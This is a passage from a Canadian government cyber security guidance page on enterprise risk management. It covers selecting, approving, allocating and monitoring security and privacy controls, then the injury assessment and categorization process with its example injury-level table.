that influence the selection of security and privacy controls and activities and the specification of security designs that organizations can use:</p> <ul><li>Holistic versus piecemeal approach to design, where a holistic approach considers security and privacy at the various layers of an information system (for example, application, data management, middleware, platform, and communication layers) and includes an understanding of information flows between the various layers</li> <li>Defence-in-depth/layered defence versus focus on 1-layer protection</li> <li>Eggshell (hard perimeter/soft centre) versus honeycomb versus end-point protection approaches to design</li> <li>Appropriate security modes of operation (dedicated, system-high, compartmented, multilevel, multiple independent levels of security (MILS))</li> <li>Tiered application architecture (presentation, business logic, data repositories) applying security zoning versus monolithic system architecture</li> <li>Use of common security services with standardized application programming interface (for example, organizational authentication system) versus implementing custom security services</li> <li>Infrastructure security versus data asset security (for example, digital rights management)</li> <li>Societal considerations (for example, employees’ privacy versus monitoring) versus enforcement of hard-to-use but more secure controls</li> </ul><p><strong>Output:</strong> List of selected security architecture approaches and justifications.</p> <h4 id="4.2.3">4.2.3 Select organizational security and privacy controls and activities</h4> <p><strong>Objective:</strong> Select organizational security and privacy controls and activities.</p> <p><strong>Suggested related roles:</strong> Enterprise security architects, privacy architects, security advisors, privacy advisors</p> <p>Organizations develop a control and activity profile for each of their defined business domains. If an organization defines several business domains, then it can develop the profiles gradually, starting with one that is urgently needed, and then developing the others over time.</p> <p>There are 3 approaches to implementing controls and activities:</p> <ul><li>a common (inheritable) implementation approach</li> <li>a system-specific implementation approach</li> <li>a hybrid implementation approach</li> </ul><p>The implementation approaches define the scope of applicability for the control or activity, its shared nature or inheritability, and the responsibility for control or activity development, implementation, assessment, and authorization. Each implementation approach has a specific objective and focus that helps organizations select the appropriate controls and activities, effectively implement them, and satisfy security and privacy requirements. A specific implementation approach may save money by leveraging security and privacy capabilities across multiple systems and operational environments.</p> <p>A common control or activity is deployed as a shared service to the organization. Implementing common controls or activities results in a capability that is inheritable by multiple systems or programs. System-specific controls and activities are the primary responsibility of the system owner. Organizations can implement a hybrid control or activity if one part of the control or activity is common (inheritable) and the other part is system-specific. For example, an organization may implement contingency planning control CP-02 using a predefined template for all organizational information systems, with individual system owners tailoring the plan for system-specific uses where appropriate. For privacy, an organization-wide policy or procedure would be an example of a common privacy control or activity. For more information, refer to <a href="/en/guidance/cyber-security-privacy-risk-management/itsp10033/concepts-structure#2.3">Security and privacy controls and assurance activities catalogue (ITSP.10.033) section 2 Implementation approaches</a>.</p> <p>Organizational control and activity profiles are used by the cyber security and privacy functions to coordinate the allocation of common controls and activities to the enterprise architecture. They also inform projects about the controls and activities their system inherits, as well as those they must implement to secure the system they are developing or updating.</p> <p>When developing organizational control and activity profiles, organizations select controls and activities from the ITSP.10.033 catalogue, and tailor them to satisfy organizational security and privacy needs (<a href="#4.1.2">section 4.1.2</a>). The selection and tailoring of controls and activities is guided by the results of their organizational privacy assessment (<a href="#4.1.5">section 4.1.5</a>), organizational cyber security threat assessment (<a href="#4.1.6">section 4.1.6</a>) and the defined security architecture approaches (<a href="#4.2.2">section 4.2.2</a>). For organizations that have an enterprise architecture function, security and privacy practitioners should also consider cyber security-related artefacts when selecting and tailoring system-specific controls and activities.</p> <p>Organizational profiles should also document the business context and assumptions under which they were developed by describing:</p> <ul><li>in-scope business activities and related business needs for security and privacy</li> <li>injury assessment and categorization of in-scope business activities</li> <li>the threat context</li> <li>legislative and policy compliance artefacts</li> <li>defined security architecture approaches</li> <li>any other technical constraints or assumptions that might influence the selection of controls and activities</li> </ul><p>A key input to the control and activity profile development process is the organizational threat repository (see <a href="#4.1.6">section 4.1.6</a>). When developing domain profiles, organizations may refine organizational threat definitions based on additional threat information that is specific to each domain’s business activities. When this occurs, organizations can document these refined threat definitions in domain-specific threat repositories.</p> <p>Several of the controls and activities in the ITSP.10.033 catalogue should be considered for allocation as common controls and activities.</p> <p>Examples of common security and privacy controls and activities are:</p> <ul><li>an organizational personnel security screening program supporting the screening of cyber security personnel</li> <li>a physical security program supporting the protection of technological facilities</li> <li>security incident and privacy breach management performed as part of cyber security and privacy functions to provide a comprehensive situational awareness</li> <li>a system operated by an <abbr title="information technology and operational technology">IT/OT</abbr> operations group that provides a common end-user authentication solution</li> <li>an organization-wide electronic log monitoring system, operated by a team from the cyber security function, which provides separation of duties between the <abbr title="information technology and operational technology">IT/OT</abbr> operations and the cyber security function</li> <li>a cyber security awareness and training program administered by the organizational learning centre</li> </ul><p>To develop their organizational profile, organizations may leverage the medium impact profile in ITSP.10.033-01, which is based on the ITSP.10.033 catalogue.</p> <p><strong>Output:</strong> An organization-wide security and privacy control and activity profile or a set of domain security and privacy control and activity profiles.</p> <h4 id="4.2.4">4.2.4 Approve the organizational profile(s)</h4> <p><strong>Objective:</strong> Approve the organizational security and privacy control and activity profile(s).</p> <p><strong>Suggested related roles:</strong> Senior security officials, senior privacy officials</p> <p>Once the security and privacy control and activity profile(s) have been completed, senior officials in the organization’s security and privacy governance should review them and seek approval from organizational authorities (for example, <abbr title="chief executive officer">CEO</abbr>, <abbr title="chief information officer">CIO</abbr>, <abbr title="chief security officer">CSO</abbr>, <abbr title="chief information security officer">CISO</abbr>, <abbr title="chief privacy officer">CPO</abbr>, deputy head) as required. As part of this process, these senior officials should also ensure that the organizational controls and activities specified in the profiles satisfy organizational security and privacy needs, and that they adequately address threats and privacy compliance obligations. They should ensure that there will be a good balance between the implementation of controls and activities and the levels of residual risk that the organization is ready to assume.</p> <p><strong>Output:</strong> Approved organizational security and privacy control and activity profile(s).</p> <!–** TOP OF PAGE ******–> <div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <h3 id="4.3">4.3 Allocate security and privacy controls and activities</h3> <p><strong>Objective:</strong> Coordinate the allocation of security and privacy controls and activities.</p> <p><strong>Suggested related roles:</strong> Enterprise security architects, privacy architects</p> <p>Following the approval of organizational security and privacy control and activity profiles, senior officials in the organization’s security and privacy governance and their staff can proceed with coordinating the allocation of controls and activities.</p> <p>Developing a strategy for allocating security and privacy controls and activities starts with determining which ones are common, hybrid, or system-specific. It is also important to identify the responsible parties for delivering and operating common and hybrid controls and activities within the organization. Engaging an enterprise architecture board can help facilitate this process.</p> <h4 id="4.3.1">4.3.1 Allocate common controls and activities</h4> <p><strong>Objective:</strong> Coordinate and document the allocation of common controls and activities.</p> <p><strong>Suggested related roles:</strong> Enterprise security architects, privacy architects</p> <p>In an established organization, certain controls and activities may already be delivered through shared or common services. These should be identified and documented within the enterprise security architecture. For controls and activities that are not yet in place, responsibilities should be clearly defined and allocated as part of the enterprise security architecture function.</p> <p>Organizations have several options to allocate common security and privacy controls and activities. They can be allocated:</p> <ul><li>as part of the cyber security and privacy functions</li> <li>to an organizational <abbr title="information technology and operational technology">IT/OT</abbr> operations group</li> <li>to other groups within the organization, or outsourced to another organization or service provider</li> <li>to a new shared or common service</li> </ul><p><a href="#tab1">Table 1</a> provides examples of how common security and privacy controls and activities can be allocated.</p> <div class="table-responsive"> <table class="table table-bordered"><caption class="text-center" id="tab1">Table 1: Examples of common controls and activities allocation</caption> <thead><tr class="active"><th class="text-center" scope="col">Common controls and activities</th> <th class="text-center" scope="col">Allocation by the enterprise security architecture function</th> <th class="text-center" scope="col">Operational authority</th> </tr></thead><tbody><tr><td>CA-07 Continuous monitoring</td> <td>Implement an automated monitoring infrastructure</td> <td>Cyber security authorities (as a component of the cyber security function)</td> </tr><tr><td>SC-07 Boundary protection</td> <td>Implement a boundary protection infrastructure</td> <td>IT/OT operations group – Network operations</td> </tr><tr><td>CP-07 Alternate processing site</td> <td>Service contract</td> <td>Service provider</td> </tr><tr><td>IA-02 End user identification and authentication</td> <td>Subscribe to an existing <abbr title="Government of Canada">GC</abbr> shared identification and authentication service</td> <td>Shared Services Canada (SSC)<sup id="fn4-rf"><a class="fn-lnk" href="#fn4"><span class="wb-inv">Footnote </span>4</a></sup></td> </tr><tr><td>PT-01 Personal information handling and transparency policy and procedures</td> <td>The enterprise policy authority publishes policies and procedures for handling personal information</td> <td>Privacy authorities (as a component of the privacy function)</td> </tr></tbody></table></div> <p>When the allocation of a common security or privacy control or activity requires the implementation of supporting systems, organizations should implement them through projects following the process described in System lifecycle cyber security and privacy risk management activities (ITSP.10.037).</p> <p><strong>Output:</strong> Document listing the allocated common security and privacy controls and activities.</p> <h4 id="4.3.2">4.3.2 Allocate system-specific controls and activities</h4> <p><strong>Objective:</strong> Coordinate and document the allocation of system-specific controls and activities.</p> <p><strong>Suggested related roles:</strong> Enterprise security architects, privacy architects</p> <p>To implement the selected security and privacy controls and activities, the enterprise security architecture function will allocate a set of appropriate controls and activities to that system. System-specific technical controls must be identified early in the project lifecycle so they can be appropriately scoped, resourced and funded within the project budget. This proactive approach ensures that controls and activities are integrated seamlessly into system development and operations, rather than being retrofitted later at greater cost or complexity.</p> <p>The allocation process includes mapping applicable controls, including hybrid ones, to system contexts and coordinating implementation responsibilities across cyber security, privacy and business stakeholders.</p> <p>Projects and <abbr title="information technology and operational technology">IT/OT</abbr> operations groups implement and operate security and privacy controls and activities in systems following the cyber security and privacy risk management activities described in ITSP.10.037.</p> <p>Clear documentation of control and activity assignments also supports ongoing assurance, audit readiness, and the ability to manage the effectiveness of controls over time.</p> <p><strong>Output:</strong> A list of allocated security and privacy controls and activities in systems.</p> <!–** TOP OF PAGE ******–> <div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <h3 id="4.4">4.4 Monitor and assess performance of security and privacy controls and activities</h3> <p><strong>Objective:</strong> Perform continuous monitoring and assessment of the implemented security and privacy controls and activities.</p> <p><strong>Suggested related roles:</strong> <abbr title="information technology and operational technology">IT/OT</abbr> operations groups, security assessors, privacy assessors</p> <p>Organizations monitor and assess the performance of the implemented common, hybrid, and system-specific controls and activities through the collection, consolidation, and continuous analysis of performance metrics. Many of the monitoring and assessment tasks will be performed by the IT/OT operations groups, and summary reports will be provided to the cyber security and privacy functions for organization-wide analysis. Some sensitive monitoring tasks may be performed by the cyber security and privacy functions (if mandated by a security and privacy control and activity profile) when separation of duties is required.</p> <p>Continuous assessment<sup id="fn5-rf"><a class="fn-lnk" href="#fn5"><span class="wb-inv">Footnote </span>5</a></sup> tasks consider more than just the performance of security and privacy controls and activities and should include:</p> <ul><li>identifying vulnerabilities, weaknesses, and inefficiencies</li> <li>reviewing security and privacy-related changes</li> <li>reviewing security and privacy incidents and problems reports</li> <li>conducting security testing, which could include functional security testing, vulnerability assessments, and penetration testing</li> <li>reviewing the security configuration of system components</li> </ul><p>The monitoring and assessment results will inform organizational authorities of the current state of organizational systems’ security and privacy posture. A stable and adequate security and privacy posture will allow a system to maintain its authorization to operate. A deteriorating posture may lead organizational authorities to revoke the authorization to operate until mitigating measures are put in place (see <a href="#4.5">section 4.5</a> and <a href="#4.6">section 4.6</a>).</p> <p><strong>Output:</strong> Report on the performance of security and privacy controls and activities and on the security and privacy posture of the systems.</p> <h3 id="4.5">4.5 Maintain authorization</h3> <p><strong>Objective:</strong> Maintain the authorization state of the systems.</p> <p><strong>Suggested related roles:</strong> Authorizers, business analysts, security advisors, privacy advisors, enterprise security architects, privacy architects</p> <p>When following the suggested cyber security and privacy risk management process, organizations initially authorize the operation of their systems as part of the process described in ITSP.10.037. Subsequently, organizations maintain the authorization state of their systems by continuously monitoring, assessing, and updating security and privacy controls and activities.</p> <p>The authorization maintenance process consists of the following activities:</p> <ul><li>periodically reviewing the injury assessment and categorization of supported business activities</li> <li>reassessing the threat environment and the security performance of technical environments</li> <li>reassessing collection and use of personal information to understand any changes to the initial program design</li> <li>reviewing the performance assessment result for security and privacy controls and activities</li> <li>reviewing the activities of <abbr title="information technology and operational technology">IT/OT</abbr> operations group to ensure that they have adequately maintained the security and privacy posture of their systems according to the security and privacy provisions of their operations plans</li> </ul><p>When the results of authorization maintenance activities show that a system is no longer operating within acceptable levels of residual risk, there are several avenues that organizations can pursue to remediate the situation, including:</p> <ul><li>implementing temporary security measures to protect supported business activities (for example, disconnecting an information system from the Internet, activating a portion of a contingency plan)</li> <li>updating privacy artefacts (for example, privacy notice statements and associated personal information banks, subject to required approvals)</li> <li>updating implemented controls and activities to correct security and privacy deficiencies and return the system to its authorized state of operation (see <a href="#4.6">section 4.6</a>)</li> <li>accepting the new level of residual risk</li> </ul><p>If the level of residual risk remains unacceptable after initial remedial action, authorizers may choose to revoke the authority to operate pending further remedial action. The revocation of authorization would lead to additional security and privacy analysis activities to identify specific deficiencies within the operational context, followed by the application of corrective measures or improvements to implemented controls and activities to return the system to its authorized state.</p> <p>Organizations should establish in their organizational security plan the frequency of periodic security assessment and review activities (for example, review of security incident reports, review of threat environment, review of <abbr title="information technology and operational technology">IT/OT</abbr> operations group security activities). Alternatively, authorizers could establish the frequency of such activities during a system’s initial implementation according to factors such as security injury categorization, threats, residual risk levels, and outstanding security deficiencies.</p> <p>The outputs of authorization maintenance activities include updated residual risk assessments and updated security provisions in an operations plan. The security provisions of the operations plan should include mitigation plans and schedules for any outstanding security deficiencies discovered because of the security assessment work (see <a href="#4.6">section 4.6</a>).</p> <p>In the <abbr title="Government of Canada">GC</abbr>, there is an obligation for programs to annually review any risks identified during the privacy assessment process and update risk mitigation measures.</p> <p><strong>Outputs:</strong> Updated residual risk assessments and updated security provisions of operations plan.</p> <h3 id="4.6">4.6 Update security and privacy controls and activities profile(s)</h3> <p><strong>Objective:</strong> Ensure that the security and privacy posture of the program, including the system, remains adequate by keeping all implemented controls and activities up to date. If required, add controls and activities to increase the security and privacy posture.</p> <p><strong>Suggested related roles:</strong> Enterprise security architects, privacy architects</p> <p>Organizations may need to update their implemented security and privacy controls and activities for various reasons, including when there is a:</p> <ul><li>change in organizational missions or objectives</li> <li>change in an organizational business activity (for example, collection of new, more sensitive information under an existing organizational program)</li> <li>change in business needs for security and privacy (for example, because of legislative or policy changes)</li> <li>change in the collection, use or disclosure of personal information</li> <li>requirement for change because of an organizational threat assessment update (that is, when a program is targeted by more sophisticated threat actors)</li> <li>requirement for change because of performance monitoring (for example, a security or privacy control or activity has proven ineffective in adequately protecting related systems or personal information)</li> </ul><p>Key inputs to this activity include existing organizational control and activity profiles, threat repositories, performance monitoring results, as well as assessment and authorization maintenance activities (see <a href="#4.4">section 4.4</a> and <a href="#4.5">section 4.5</a>). This activity can reveal gaps in existing controls and activities, prompting updates or the addition of new ones. It may also lead to revisiting earlier cyber security and privacy activities to redefine requirements, update control and activity profiles and threat repositories (see, for example, <a href="#4.1.3">section 4.1.3</a>, <a href="#4.1.6">section 4.1.6</a>, <a href="#4.2">section 4.2</a>), allocate new controls or activities (see <a href="#4.3">section 4.3</a>), or conduct further monitoring and assessment (see <a href="#4.4">section 4.4</a>).</p> <p><strong>Output:</strong> Report on the need for improved or new security and privacy controls and activities or updated profile(s).</p> </section><!–** TOP OF PAGE ******–><div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <section><h2 class="text-info" id="5">5 Injury assessment and categorization process</h2> <p>This section describes how organizations can perform injury assessments and categorization of their organizational business activities to help define their security and privacy control and activity profiles. Business activities refer to business processes and related information assets, including personal information.</p> <p>Injury assessment and categorization is an instrument to establish the relative importance of organizational business activities. At the organizational level, injury categories of business activities serve as input for conducting threat assessments and developing control and activity profiles. At the system level, injury categories of business activities serve as input for establishing security assurance requirements, selecting and tailoring security and privacy controls and activities, and conducting <abbr title="threat risk assessment">TRA</abbr> activities.</p> <h3 id="5.1">5.1 Concepts</h3> <p>When business activities are compromised by cyber-related threats, there may be injury to the national interests<sup id="fn6-rf"><a class="fn-lnk" href="#fn6"><span class="wb-inv">Footnote </span>6</a></sup> or the non-national interests<sup id="fn7-rf"><a class="fn-lnk" href="#fn7"><span class="wb-inv">Footnote </span>7</a></sup> that the business activities serve. Injury can occur because of the unauthorized use, disclosure, modification, or denial of information, or the corruption or interruption of business processes. Injury due to the unauthorized use or disclosure of information relates to the <strong>confidentiality objective</strong> of information security. Injury due to the modification of information or the corruption of business processes relates to the <strong>integrity objective</strong> (that is, accuracy, completeness, authenticity, intended use) of information security. Injury due to the denial of information or the interruption of business processes relates to the <strong>availability objective</strong> of information security.</p> <p>The injury assessment and categorization process determines an injury level for each security objective associated with a business activity. The designation of an injury level assumes a successful compromise by a threat actor which allows the assessment to focus on the injuries that could reasonably result from this event.</p> <h4>5.1.1 National security systems</h4> <p>A national security system (NSS) is any system whose compromise, whether in terms of confidentiality, integrity or availability, would result in harm to national security. While <abbr title="national security system">NSS</abbr> designation often aligns with classification levels (such as confidential, secret, top secret), classification alone is not determinative. Some systems may be unclassified yet still qualify as <abbr title="national security system">NSS</abbr> if their compromise could reasonably cause injury to national security.</p> <p>In Canada, <abbr title="Treasury Board Secretariat">TBS</abbr> defines unclassified as not being sensitive. However, a system’s classification status does not negate its potential impact. For example, a military weapon system onboard a naval vessel or armoured vehicle, if compromised, could result in a national security injury. As such, it should be identified as an <abbr title="national security system">NSS</abbr> during the injury categorization process. The key consideration in <abbr title="national security system">NSS</abbr> designation is the potential for national security injury, not classification status. Injury assessments should prioritize the consequences of compromise over whether a system is labelled as classified or unclassified.</p> <h4>5.1.2 Safety</h4> <p>When assessing safety-critical systems, where failure could lead to outcomes such as health impacts, loss of life, property damage or loss, or environmental harm, it is essential to consider both the classification of information and how safety requirements influence the potential for harm in the event of system compromise. In such cases, safety requirements can elevate the potential impact on availability, integrity and, in some contexts, confidentiality, resulting in higher injury levels during the injury categorization process. Safety-critical systems usually have stringent expectations for availability and integrity, and confidentiality may also be important depending on the operational context. Ultimately, the severity of injury assigned should be commensurate with the level of harm that could realistically result from a compromise of the system.</p> <h4>5.1.3 Privacy</h4> <p>Injury assessments must account for the potential impact on individual privacy when business activities involve personal information. Compromised personal information can cause injury to individuals and organizations and can result in:</p> <ul><li>identity theft or fraud</li> <li>reputational or emotional harm</li> <li>loss of public trust</li> <li>legal and regulatory consequences</li> </ul><p>The level of injury depends on the sensitivity, volume, and context of the personal information. In addition to breaches of personal information, privacy injuries may also arise from corrupted personal data leading to incorrect decisions or disruption of services affecting access to benefits or critical support. This is especially significant in safety-critical or service-critical systems (for example, health or emergency services). Privacy risks should be considered alongside confidentiality, integrity, and availability objectives during the injury categorization process. Where personal information is used to make administrative decisions, a <abbr title="privacy impact assessment">PIA</abbr> should be conducted in parallel with threat and risk assessments to ensure appropriate privacy and security controls and activities are selected.</p> <h4>5.1.4 Adversarial perspective</h4> <p>Injury assessment and categorization require framing the compromise from an adversarial perspective. Security and privacy practitioners should evaluate injuries under the assumption that a threat actor has successfully compromised the system, including scenarios where they obtained significant control. Most organizations tend to underestimate potential injuries because they approach risk with good faith and reasonable assumptions. However, some threat actors are willing to engage in extraordinary and unconscionable actions to achieve their objectives.</p> <p>For example, a business process such as operating life support systems in a hospital should be assumed to potentially negatively impact patient health, including causing bodily harm and loss of life. Another example would be a department with a security mandate which, if compromised, could be leveraged as a criminal or hostile tool controlled by a threat actor, in complete opposition to their mandate.</p> <p>The question here is: What is the worst case-scenario?</p> <h4>5.1.5 Post-compromise injury</h4> <p>The injury assessment must be based on the assumption that an attack has occurred and has been successful. At this stage, the likelihood of the threat and the presence of mitigating controls should not be considered. When evaluating potential injury, even scenarios deemed exceedingly unlikely must be treated as if they have already occurred.</p> <p>For example, while the bombing of a data centre may be considered highly unlikely, the resulting injury – complete loss of all onsite functionality – remains a valid consideration in the assessment. Similarly, the existence of redundant data centres does not reduce the severity of the injury at this stage of the process.</p> <p>The question here is: What happens if that worst-case scenario occurred?</p> <!–** TOP OF PAGE ******–> <div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <h3 id="5.2">5.2 Injury assessment and categorization process</h3> <p>As illustrated in <a href="#fig3">figure 3</a>, the injury assessment and categorization process for a business activity can be summarized in 5 steps:</p> <ol><li>Develop a custom injury assessment table</li> <li>Identify the business processes and information assets, including personal information, that relate to the business activity</li> <li>Assess expected injuries from assumed threat compromise of the business activity, and determine their severity in terms of confidentiality, integrity, and availability</li> <li>Determine the injury category of the business activity by identifying the highest expected level injury across confidentiality, integrity, and availability</li> <li>Prepare an injury assessment and categorization report</li> </ol><!– IMAGE EN –><div class="panel panel-default"> <div class="panel-body"> <figure id="fig3"><figcaption class="mrgn-bttm-md"><strong>Figure 3 – Injury assessment and categorization process</strong></figcaption><img alt="Flow chart demonstrating injury assessment and categorization process – Long description immediately follows" class="img-responsive center-block mrgn-bttm-lg" src="/sites/default/files/images/itsp10036-fig3-e.png" /><details class="brdr-tp brdr-rght brdr-bttm brdr-lft mrgn-bttm-sm"><summary>Long description – Figure 3: Injury assessment and categorization process</summary><p>This figure represents a vertical flow chart explaining the injury assessment and categorization process. A single central column shows the five numbered steps of the process from top to bottom, each in a rectangle, connected by downward-pointing arrows. The process begins at an oval labeled "Start" and ends at an oval labeled "End." At several steps, inputs appear on the left side of the flow with arrows feeding into the step, and outputs appear on the right side as white document-shaped callouts. Each output callout has a small, numbered circle that serves as a persistent reference label used later in the diagram to show where that output is consumed as an input.</p> <p>The central sequence from top to bottom is:</p> <ul class="list-unstyled"><li>Start: An oval labeled "Start," with a downward arrow to Step 1.</li> <li>Step 1: Develop organization-specific injury assessment table <ul><li>Left input: A rectangular label "Strategic business documents" points to Step 1.</li> <li>Right output: A white document-shaped callout labeled "Organization-specific injury assessment table," marked with a small circle labeled "1." This creates Output 1.</li> <li>Note on reuse: Output 1 is later reused as an input to Step 3, indicated by a small circle "1" shown on the left side feeding into Step 3.</li> </ul></li> <li>Step 2: Identify business processes and related information assets <ul><li>Left input: A rectangular label "Documentation on business activities" points to Step 2.</li> <li>Right output: A white document-shaped callout labeled "Business processes and related information," marked with a small circle "2." This creates Output 2.</li> <li>Note on reuse: Output 2 is later reused as an input to Step 3 and Step 4, indicated by the small circle "2" on the left side of those steps.</li> </ul></li> <li>Step 3: Assess injuries from threat compromises <ul><li>Left inputs: <ul><li>Two rectangular sources feed into Step 3: "Impact assessments" and "Regulatory instruments."</li> <li>In addition, two small numbered circles also feed into Step 3 from the left margin: circle "1" (Output 1 from Step 1) and circle "2" (Output 2 from Step 2). These icons visually indicate that the organization-specific assessment table and the identified business processes/information assets are used within the injury assessment.</li> </ul></li> <li>Right outputs: <ul><li>A white callout labeled "Expected injuries from threat compromise," marked with circle "3." This creates Output 3.</li> <li>A second white callout labeled "Level of injuries as they relate to <abbr title="confidentiality, integrity and availability">CIA</abbr>," marked with circle "4." This creates Output 4.</li> </ul></li> <li>Note on reuse: Outputs 3 and 4 are used as inputs to Step 4, indicated by small circles "3" and "4" on the left side of Step 4.</li> </ul></li> <li>Step 4: Determine injury category of each business activity <ul><li>Left inputs: <ul><li>One vertical stack shows circles "2," "3," and "4," to indicate the reuse of Outputs 2, 3, and 4, to determine the injury category.</li> </ul></li> <li>Right output: <ul><li>A white callout labeled "High watermark injury category of each business activity," marked with circle "5." This creates Output 5. "High watermark" conveys that the injury category is set to the highest expected severity across confidentiality, integrity, and availability.</li> </ul></li> <li>Note on reuse: Output 5 is used as an input to Step 5, indicated by circle "5."</li> </ul></li> <li>Step 5: Prepare injury categorization report <ul><li>Left inputs: A vertical sequence of small circles "1, 2, 3, 4, 5" shows that the final report compiles all earlier outputs: Output 1 (organization-specific table), Output 2 (business processes/information), Output 3 (expected injuries), Output 4 (<abbr title="confidentiality, integrity and availability">CIA</abbr>-level severity), and Output 5 (high watermark injury category).</li> <li>No right-side callout is drawn; the flow continues to the end.</li> </ul></li> <li>End: An oval labeled "End" below Step 5 marks the conclusion of the process.</li> </ul></details></figure></div> </div> <!– END IMAGE EN –> <div class="panel panel-info"> <header class="panel-heading"><h3 class="panel-title"><abbr title="Government of Canada">GC</abbr>-specific note</h3> </header><div class="panel-body"> <p>The goal of the security categorization process is to determine the sensitivity and criticality of business activities based on an injury test. This is similar to the goal of the sensitivity assessment questionnaire that is found in the statement of sensitivity (SoS) of many departments and agencies. An <abbr title="statement of sensitivity">SoS</abbr> captures the types of information assets that an information system will store and process and the classification of that information (for example, Protected B). The <abbr title="statement of sensitivity">SoS</abbr> also collects the general importance of integrity, as well as the criticality of the program or services, which is often expressed as the maximum permissible downtime.</p> <p>Although injury is reflected in the information classification marking, the security categorization process makes the injury test for confidentiality explicit. Moreover, the security categorization process extends this explicit injury test to integrity and availability. The result is a security marking that reflects the expected level of injury for confidentiality, integrity, and availability (for example, Protected B, medium integrity, medium availability or <abbr title="Protected B, medium integrity, medium availability">PBMM</abbr>).</p> <p>In departments and agencies where the <abbr title="statement of sensitivity">SoS</abbr> process has been successfully implemented and has been in use for many years, completely abandoning a familiar process may not be the best approach to transition from the <abbr title="statement of sensitivity">SoS</abbr> process to the security categorization process. Departments and agencies could leverage familiarity and acceptability of their <abbr title="statement of sensitivity">SoS</abbr> process by simply incorporating an injury test in the confidentiality, integrity, and availability sections of their sensitivity assessment questionnaire.</p> </div> </div> <!–** TOP OF PAGE ******–> <div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <h3 id="5.3">5.3 Injury assessment and categorization process description</h3> <p>The organization should establish a dedicated working group to effectively carry out the injury assessment and categorization process. This group should typically include executives with operational responsibilities, senior security officials (such as the <abbr title="chief security officer">CSO</abbr> or their delegates), senior privacy officials (such as the <abbr title="chief privacy officer">CPO</abbr> or their delegates), security and privacy advisors, and business analysts. Depending on the organization and context, other roles could include a risk management lead, a legal counsel, a compliance officer, security and privacy architects, and a communications or public relations lead.</p> <h4>5.3.1 Develop organization-specific injury assessment table</h4> <p>To conduct injury assessments and categorization, organizations should create their own injury tables. Small organizations with 1 or few programs serving common interests may only need 1 injury table while large organizations with several programs serving different interests may require several injury tables. If financial thresholds are incorporated into the tailored injury table, the specified dollar amounts should be proportionate to the organization’s overall budget to ensure contextual relevance. For example, in the <abbr title="Government of Canada">GC</abbr>, Public Services and Procurement Canada (PSPC)’s Federal Pension Administration program serves very different interests than PSPC’s Linguistic Services.</p> <p>To develop an organization-specific injury assessment table that will inform future risk assessments, it is recommended to consult strategic business documents, such as corporate plans, performance commitments, and priority-setting frameworks, that articulate the organization’s objectives and obligations. Business analysts should be closely involved in this process, as they possess critical contextual knowledge and can help identify realistic and relevant injury scenarios. Additional sources, such as regulatory filings, stakeholder reports, and internal audit findings, may also provide valuable insight into business impacts and priorities.</p> <p><a href="#tab2">Table 2</a> contains examples of injury types and injury levels to help <abbr title="Government of Canada">GC</abbr> departments develop injury tables. Departments should include in their injury tables only those types and levels that relate to the interests served by their programs, services, and activities.</p> <div class="table-responsive"> <table class="table table-bordered"><caption class="text-center" id="tab2">Table 2: Examples of injury types and levels (<abbr title="Government of Canada">GC</abbr>-centric)</caption> <thead><tr class="active"><th class="text-center" scope="col">Injury type</th> <th class="text-center" scope="col">Very low injury level</th> <th class="text-center" scope="col">Low injury level</th> <th class="text-center" scope="col">Medium injury level</th> <th class="text-center" scope="col">High injury level</th> <th class="text-center" scope="col">Very high injury level</th> </tr></thead><tbody><tr><th scope="row"><strong>Civil disorder or unrest</strong></th> <td>No reasonable or negligible expectation of injury</td> <td>Civil disobedience, public obstructions</td> <td>Riot</td> <td>Sabotage of critical assets (for example, critical infrastructure)</td> <td>Large-scale civil unrest or sabotage requiring martial law</td> </tr><tr><th scope="row"><strong>Physical harm to people</strong></th> <td>No reasonable or negligible expectation of injury</td> <td>Physical discomfort</td> <td>Physical pain, injury, trauma, hardship, illness</td> <td>Physical disability, loss of life</td> <td>Widespread loss of life</td> </tr><tr><th scope="row"><strong>Psychological harm to people</strong></th> <td>No reasonable or negligible expectation of injury</td> <td>Stress</td> <td>Psychological distress</td> <td>Mental health disorder</td> <td>Widespread or severe mental health harm</td> </tr><tr><th scope="row"><strong>Financial loss to individuals</strong></th> <td>No reasonable or negligible expectation of injury</td> <td>Stress or discomfort</td> <td>Reduced quality of life</td> <td>Loss of financial security</td> <td>Not applicable</td> </tr><tr><th scope="row"><strong>Financial loss to Canadian companies</strong></th> <td>No reasonable or negligible expectation of injury</td> <td>Reduced performance</td> <td>Reduced competitiveness</td> <td>Loss of viability</td> <td>Not applicable</td> </tr><tr><th scope="row"><strong>Financial loss to the Canadian government</strong></th> <td>No reasonable<br /> or negligible expectation of injury</td> <td>Reduced program performance</td> <td>Degraded program outcomes</td> <td>Loss of program viability</td> <td>Loss of viability of key programs</td> </tr><tr><th scope="row"><strong>Harm to the Canadian economy</strong></th> <td>Not applicable</td> <td>Not applicable</td> <td>Reduced performance</td> <td>Reduced international competitiveness</td> <td>Compromise of key economic sectors</td> </tr><tr><th scope="row"><strong>Harm to Canada’s reputation</strong></th> <td>No reasonable or negligible expectation of injury</td> <td>Loss of Canadian public confidence</td> <td>Embarrassment (home or abroad)</td> <td>Damage to federal-provincial relations</td> <td>Damage to diplomatic or international relations</td> </tr><tr><th scope="row"><strong>Loss of Canadian sovereignty</strong></th> <td>Not applicable</td> <td>Not applicable</td> <td>Impediments to the development of major government policies</td> <td>Impediments to effective law enforcement<br /> Loss of continuity of government</td> <td>Loss of territorial sovereignty</td> </tr></tbody></table></div> <p><a href="#tab3">Table 3</a> presents examples of injury types and injury levels that are more generally applicable. Organizations should include in their injury tables only those types and levels that 